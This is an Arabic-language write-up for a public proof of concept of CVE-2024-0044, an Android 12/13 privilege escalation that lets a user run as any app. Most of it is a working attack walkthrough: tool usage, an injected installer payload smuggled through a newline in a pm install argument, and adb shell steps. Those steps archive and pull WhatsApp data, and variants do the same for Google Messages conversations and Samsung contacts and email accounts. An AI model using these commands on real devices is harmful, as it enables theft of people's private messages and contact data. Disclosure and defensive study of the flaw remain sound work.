
CVE-2024-0044: ثغرة "run-as لأي تطبيق" شديدة الخطورة تؤثر على إصدارات Android 12 و13
CVE-2024-0044، التي تم تحديدها في دالة createSessionInternal في ملف PackageInstallerService.java، هي ثغرة أمنية عالية الخطورة تؤثر على إصدارَي أندرويد 12 و13. تسمح هذه الثغرة للمهاجم بتنفيذ هجوم "run-as any app"، مما يؤدي إلى تصعيد محلي للامتيازات دون الحاجة إلى تفاعل المستخدم. تنشأ المشكلة بسبب عدم التحقق السليم من المدخلات داخل دالة createSessionInternal. يمكن للمهاجم استغلال ذلك بالتلاعب في عملية إنشاء الجلسة، مما قد يمنحه وصولًا غير مصرح به إلى البيانات الحساسة وتنفيذ إجراءات غير مصرح بها على الجهاز المتأثر
تم اكتشاف الاستغلال بواسطة Meta security
تم تلخيص ومشاركة إثبات المفهوم بواسطة Tiny hack
يمكن العثور على تفاصيل التصحيح الأمني في نشرة أمن أندرويد
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
تُستخدم -P لتحديد اسم الحزمة الهدف التي تريد تشغيلها باسمها
و -A لتحديد ملف apk الذي سيتم دفعه إلى الجهاز
شغّل الأداة
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
سيتم إنشاء ملف payload.txt مثل هذا
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success بعد آخر أمرpl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
أنشئ دليلًا مؤقتًا: mkdir /data/local/tmp/wa/
أنشئ ملفًا مؤقتًا لملف tar: touch /data/local/tmp/wa/wa.tar
عيّن صلاحيات واسعة النطاق: chmod -R 0777 /data/local/tmp/wa/ لضمان قدرة أي مستخدم على القراءة والكتابة والتنفيذ داخل هذا الدليل.
بدّل سياق المستخدم: run-as victim للحصول على نفس صلاحيات مستخدم "victim".
أرشفة بيانات التطبيق الهدف: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp، لإنشاء ملف tar من دليل بيانات واتساب.
adb pull /data/local/tmp/wa/wa.tar
يمكنك استخراج البيانات باستخدام 7z أو أي أداة أخرى
يمكنك استخدام Whatsapp chat exporter لتحويلها إلى HTML
يتيح لك ذلك الحصول على بيانات واتساب دون الحاجة إلى صلاحيات الجذر على جهازك
فقط غيّر اسم الحزمة كما يلي
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
اتبع التعليمات أعلاه، وبعد سحب wa.tar قم بفك ضغطه وافتح المحادثات في com.google.android.apps.messaging/databases/bugle_db باستخدام sqlitebrowser أو أي أداة أخرى
تم اختباره على جهاز سامسونج. بالنسبة للأجهزة الأخرى، تحقق من اسم حزمة مزوّد جهات الاتصال.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
اتبع التعليمات أعلاه، وبعد سحب ملف wa.tar قم بفك ضغطه وافتح جهات الاتصال في com.samsung.android.providers.contacts/databases/contacts2.db باستخدام sqlitebrowser أو أي أداة أخرى. يحتوي ملف قاعدة البيانات على جميع معلومات حسابات البريد الإلكتروني للمستخدم مع قائمة جهات الاتصال